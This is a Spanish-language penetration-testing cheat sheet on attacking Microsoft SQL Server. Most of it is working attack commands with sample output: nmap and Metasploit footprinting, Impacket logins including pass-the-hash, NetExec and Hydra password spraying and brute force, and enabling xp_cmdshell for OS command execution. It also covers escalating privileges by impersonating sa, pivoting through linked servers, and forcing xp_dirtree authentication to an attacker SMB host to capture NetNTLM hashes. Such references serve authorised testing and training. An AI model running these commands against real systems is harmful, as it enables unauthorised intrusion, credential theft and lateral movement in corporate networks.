Skip to content

MSSQL (Microsoft SQL Server)

Microsoft SQL (MSSQL) es el sistema de gestión de bases de datos relacionales basado en SQL de Microsoft. A diferencia de MySQL, MSSQL es de código cerrado y se escribió inicialmente para ejecutarse en sistemas operativos Windows. Es popular entre administradores de bases de datos y desarrolladores a la hora de crear aplicaciones que se ejecutan en el framework .NET de Microsoft, debido a su fuerte soporte nativo para .NET. Existen versiones de MSSQL que corren en Linux y macOS, pero lo más común es encontrar instancias de MSSQL en objetivos que ejecutan Windows.

Bases de datos del sistema

Base de datosDescripción
masterRealiza un seguimiento de toda la información del sistema para una instancia de SQL Server.
modelBase de datos de plantilla que actúa como estructura para cada nueva base de datos creada. Cualquier configuración modificada aquí se reflejará en las bases de datos nuevas creadas después del cambio.
msdbEl Agente SQL Server la utiliza para programar trabajos y alertas.
tempdbAlmacena objetos temporales.
resourceBase de datos de solo lectura que contiene los objetos del sistema incluidos con SQL Server.

Footprinting del servicio

c
❯ sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 172.16.63.10

Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 09:40 EST
Nmap scan report for 172.16.63.10
Host is up (0.15s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: SQL-01
|   NetBIOS_Domain_Name: SQL-01
|   NetBIOS_Computer_Name: SQL-01
|   DNS_Domain_Name: SQL-01
|   DNS_Computer_Name: SQL-01
|_  Product_Version: 10.0.17763

Host script results:
| ms-sql-dac: 
|_  Instance: MSSQLSERVER; DAC port: 1434 (connection failed)
| ms-sql-info: 
|   Windows server name: SQL-01
|   172.16.63.10\MSSQLSERVER: 
|     Instance name: MSSQLSERVER
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 1433
|     Named pipe: \\172.16.63.10\pipe\sql\query
|_    Clustered: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
  • ms-sql-info : versión, nombre de instancia y puerto TCP.

  • ms-sql-empty-password : comprueba si la cuenta sa tiene contraseña vacía.

  • ms-sql-ntlm-info : filtra el nombre NetBIOS/dominio del servidor, incluso sin autenticarse — útil para reconocimiento de Active Directory.

  • ms-sql-xp-cmdshell : comprueba si el procedimiento xp_cmdshell está habilitado (ver sección de explotación).

  • ms-sql-dump-hashes : intenta volcar hashes de contraseñas de los logins SQL (requiere credenciales con privilegios suficientes).

  • --script-args mssql.username=sa,mssql.password= : credenciales a usar para los scripts que las requieren (aquí se prueba sa sin contraseña).

MSSQL Ping con Metasploit

Módulo auxiliar que identifica instancias SQL Server en la red sin necesidad de autenticación:

c
msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 172.16.63.10

rhosts => 172.16.63.10


msf6 auxiliary(scanner/mssql/mssql_ping) > run

[*] 172.16.63.10:       - SQL Server information for 172.16.63.10:
[+] 172.16.63.10:       -    ServerName      = SQL-01
[+] 172.16.63.10:       -    InstanceName    = MSSQLSERVER
[+] 172.16.63.10:       -    IsClustered     = No
[+] 172.16.63.10:       -    Version         = 15.0.2000.5
[+] 172.16.63.10:       -    tcp             = 1433
[+] 172.16.63.10:       -    np              = \\SQL-01\pipe\sql\query
[*] 172.16.63.10:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Conexión con mssqlclient.py (Impacket)

Autenticación integrada de Windows (-windows-auth), útil cuando se dispone de credenciales de dominio en vez de un login SQL local:

c
❯ python3 mssqlclient.py Administrator@172.16.63.10 -windows-auth

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

SQL> select name from sys.databases

name                                                                                                                               

--------------------------------------------------------------------------------------

master                                                                                                                             

tempdb                                                                                                                             

model                                                                                                                              

msdb

Autenticación con login SQL local (usuario/contraseña propios de la instancia, sin -windows-auth):

c
❯ python3 mssqlclient.py sa@172.16.63.10

Autenticación con hash NTLM en vez de contraseña (pass-the-hash):

c
❯ python3 mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c domain/Administrator@172.16.63.10 -windows-auth

Enumeración y explotación con NetExec (CrackMapExec)

NetExec (nxc), sucesor de CrackMapExec, incluye un módulo de protocolo dedicado a MSSQL con la misma filosofía que su módulo de SMB: validar credenciales, enumerar información y ejecutar acciones, todo desde la misma herramienta.

Validar credenciales / autenticación

Autenticación de dominio (por defecto):

c
❯ nxc mssql 172.16.63.10 -u Administrator -p 'password' -d domain.local

Autenticación con un login SQL local en vez de una cuenta de dominio (equivalente a no usar -windows-auth en mssqlclient.py):

c
❯ nxc mssql 172.16.63.10 -u sa -p 'password' --local-auth

Probar sesión nula / credenciales vacías (para ver si el servidor permite acceso anónimo):

c
❯ nxc mssql 172.16.63.10 -u '' -p ''

Fuerza bruta / password spraying contra varias instancias a la vez, usando listas de usuarios y contraseñas:

c
❯ nxc mssql 172.16.63.10 -u usuarios.txt -p contraseñas.txt --continue-on-success
  • --continue-on-success : no detiene el ataque al primer login válido, sigue probando el resto de combinaciones (útil en password spraying contra múltiples cuentas).

Ejecutar queries SQL directamente

c
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -q "select @@version"
c
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -q "select name from sys.databases"
c
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -q "select is_srvrolemember('sysadmin')"
  • -q : ejecuta la consulta SQL indicada directamente contra la instancia, sin necesidad de abrir una sesión interactiva con mssqlclient.py. Muy útil para automatizar reconocimiento contra muchas instancias a la vez (combinándolo con un archivo de IPs).

Ejecutar comandos del sistema operativo (xp_cmdshell automático)

c
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -x "whoami"
c
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -x "ipconfig /all"
  • -x : ejecuta un comando del sistema operativo. Si el usuario tiene privilegios sysadmin, NetExec habilita xp_cmdshell automáticamente en segundo plano (los mismos pasos manuales vistos en la sección de explotación), ejecuta el comando, y devuelve el resultado — sin que el operador tenga que hacerlo a mano.
  • Equivalente en PowerShell en vez de cmd, usando -X (mayúscula):
c
❯ nxc mssql 172.16.63.10 -u sa -p 'password' -X "Get-Process"

Módulos disponibles para MSSQL

c
❯ nxc mssql -L
  • Lista los módulos disponibles para el protocolo MSSQL. Entre los más útiles suele estar mssql_priv, que comprueba automáticamente privilegios de impersonation y roles del login actual (equivalente a las consultas manuales de la sección de "Impersonation" más abajo):
c
❯ nxc mssql 172.16.63.10 -u jsmith -p 'password' -M mssql_priv

Enumerar en toda una red (barrido de instancias MSSQL)

c
❯ nxc mssql 172.16.63.0/24 -u sa -p 'password' --local-auth
  • Igual que con SMB, se puede apuntar a un rango CIDR completo en vez de una sola IP, para hacer password spraying o validar las mismas credenciales contra todas las instancias MSSQL de la red de una sola vez.

Otras herramientas de enumeración

Cliente nativo de línea de comandos de Microsoft (si está disponible en el sistema, por ejemplo en un host Windows comprometido):

c
C:\> sqlcmd -S 172.16.63.10 -U sa -P 'password'

Fuerza bruta de credenciales con Hydra:

c
❯ hydra -L usuarios.txt -P contraseñas.txt mssql://172.16.63.10

Comandos de referencia rápida (dentro de una sesión)

ComandoDescripción
select name from sys.databases;Lista las bases de datos disponibles.
select table_name from information_schema.tables;Lista las tablas de la base de datos actual.
select * from <tabla>;Muestra el contenido de una tabla.
select is_srvrolemember('sysadmin');Comprueba si el usuario actual tiene el rol sysadmin (devuelve 1 si es así).
select suser_sname();Muestra el login actualmente conectado.
select @@version;Muestra la versión completa del servidor.
EXEC sp_helpdb;Información detallada de las bases de datos.
EXEC sp_helprotect 'xp_cmdshell';Muestra qué usuarios/roles tienen permiso para ejecutar xp_cmdshell.

Explotación adicional

RCE vía xp_cmdshell

xp_cmdshell es un procedimiento almacenado extendido que permite ejecutar comandos del sistema operativo directamente desde una consulta SQL. Está deshabilitado por defecto, pero si el usuario tiene el rol sysadmin, puede habilitarse en tiempo real:

sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
  • Este es el vector de explotación más directo y más buscado en MSSQL: convierte una simple consulta SQL en ejecución de comandos arbitrarios del sistema operativo, con los privilegios de la cuenta de servicio de SQL Server (que en muchos casos mal configurados corre como NT AUTHORITY\SYSTEM o una cuenta de dominio con privilegios elevados).
  • Con Impacket, mssqlclient.py ya trae un atajo: una vez conectado, el comando enable_xp_cmdshell hace los cuatro pasos anteriores automáticamente.

Impersonation (EXECUTE AS) — Escalada de privilegios dentro de SQL Server

Si un login de bajos privilegios tiene permiso de IMPERSONATE sobre otro login más privilegiado (una configuración común y a menudo pasada por alto), se puede escalar sin necesidad de credenciales adicionales:

sql
-- Ver qué logins se pueden impersonar
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonar al login sa (u otro con privilegios sysadmin)
EXECUTE AS LOGIN = 'sa';
SELECT is_srvrolemember('sysadmin'); -- debería devolver 1 tras la impersonación
  • Una vez impersonado, se puede proceder directamente a habilitar xp_cmdshell como si se hubiera iniciado sesión con esas credenciales.

Abuso de Linked Servers

Los "linked servers" permiten que una instancia de SQL Server ejecute consultas contra otra instancia remota. Si el servidor objetivo tiene un linked server mal configurado (por ejemplo, guardando credenciales con privilegios sysadmin en el servidor remoto), se puede pivotar de un servidor SQL a otro:

sql
-- Listar los linked servers configurados
EXEC sp_linkedservers;

-- Ejecutar una consulta en el servidor vinculado
SELECT * FROM OPENQUERY([NOMBRE_LINKED_SERVER], 'select @@version');

-- Si el linked server tiene privilegios sysadmin, se puede habilitar xp_cmdshell remotamente
EXEC('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [NOMBRE_LINKED_SERVER];
EXEC('EXEC xp_cmdshell ''whoami''') AT [NOMBRE_LINKED_SERVER];
  • Esta técnica es especialmente relevante en redes con múltiples servidores SQL interconectados, donde comprometer el eslabón más débil permite saltar a instancias con mayores privilegios — un patrón de movimiento lateral muy usado en entornos empresariales con Active Directory.

Captura de hash NetNTLM vía UNC forzado

Igual que con otros servicios de Windows, se puede forzar a SQL Server a autenticarse contra un recurso SMB controlado por el atacante, capturando su hash NetNTLM con Responder:

sql
EXEC master..xp_dirtree '\\172.16.63.99\share\';
  • Si la cuenta de servicio de SQL Server tiene privilegios de dominio, el hash capturado (con Responder escuchando en 172.16.63.99) puede crackearse offline o reenviarse con un ataque de relay (ver smb.md).